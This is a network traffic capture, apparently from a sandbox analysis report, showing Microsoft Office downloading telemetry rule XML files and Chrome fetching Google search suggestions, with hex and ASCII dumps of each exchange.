2024-11-07 16:25:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:20 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 504dc720-801e-00a0-642f-2f2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162520Z-15869dbbcc6lq45jhC1DFWbkc800000001xg00000000pewp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:20 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:20 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:20 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: de083b16-101e-0079-14f1-2c5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162520Z-16547b76f7fknvdnhC1DFWxnys00000008gg000000001sa2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:20 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:20 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:20 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: b9c7c7ae-801e-00a0-1255-2e2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162520Z-17df447cdb5w28bthC1DFWgb64000000049000000000nzcp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:20 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:20 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:20 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 280ac0db-401e-0047-4a58-2e8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162520Z-17df447cdb528ltlhC1DFWnt1c00000004cg00000000kft4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:20 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:21 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:21 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 2676c640-401e-0048-235f-2e0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162521Z-15869dbbcc6tfpj2hC1DFW384c00000001v000000000per8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:21 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:21 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:21 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 7b7195f4-601e-0050-1f60-2e2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162521Z-15869dbbcc6lq45jhC1DFWbkc8000000023g000000004r5t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:21 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:21 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:21 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 32bbde6d-701e-000d-0e01-2f6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162521Z-17df447cdb5fzdpxhC1DFWdd3400000004p0000000008n30 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:21 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:21 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:21 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 959a3585-901e-0067-5ae9-2eb5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162521Z-17df447cdb5l865xhC1DFW9n7g00000001gg00000000hk2w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:21 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:21 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:21 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: d4ebd703-e01e-0085-25f6-2ec311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162521Z-17df447cdb54qlp6hC1DFWqcfc00000004eg00000000p7t7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:21 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:22 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:22 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 100aec20-201e-006e-1215-2dbbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162522Z-16547b76f7fkcrm9hC1DFWxdag00000008h0000000008q6b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:22 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	49765	216.58.206.68	443	2248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:22 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 16:25:22 UTC	1266	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:22 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-ZG1SDYUYAvBAaXoCmOKFjg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-07 16:25:22 UTC	112	IN	Data Raw: 33 30 66 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6d 61 74 74 20 63 68 6f 69 20 6e 79 63 20 6d 61 72 61 74 68 6f 6e 22 2c 22 70 6f 77 65 72 20 6f 75 74 61 67 65 73 20 6e 65 77 20 6d 65 78 69 63 6f 22 2c 22 6e 69 6e 74 65 6e 64 6f 20 73 77 69 74 63 68 20 32 20 62 61 63 6b 77 61 72 64 73 20 63 6f 6d 70 61 74 69 62 6c 65 22 2c 22 63 68 69 Data Ascii: 30f)]}'["",["matt choi nyc marathon","power outages new mexico","nintendo switch 2 backwards compatible","chi
2024-11-07 16:25:22 UTC	678	IN	Data Raw: 63 61 67 6f 20 70 64 20 73 65 61 73 6f 6e 20 31 32 22 2c 22 73 75 70 65 72 20 6d 69 63 72 6f 20 63 6f 6d 70 75 74 65 72 20 73 74 6f 63 6b 22 2c 22 61 75 72 6f 72 61 20 62 6f 72 65 61 6c 69 73 20 66 6f 72 65 63 61 73 74 22 2c 22 62 75 66 66 61 6c 6f 20 62 69 6c 6c 73 20 6b 65 6f 6e 20 63 6f 6c 65 6d 61 6e 20 69 6e 6a 75 72 79 22 2c 22 73 70 6f 72 74 73 20 62 65 74 74 69 6e 67 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 Data Ascii: cago pd season 12","super micro computer stock","aurora borealis forecast","buffalo bills keon coleman injury","sports betting"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2Vhc
2024-11-07 16:25:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:22 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
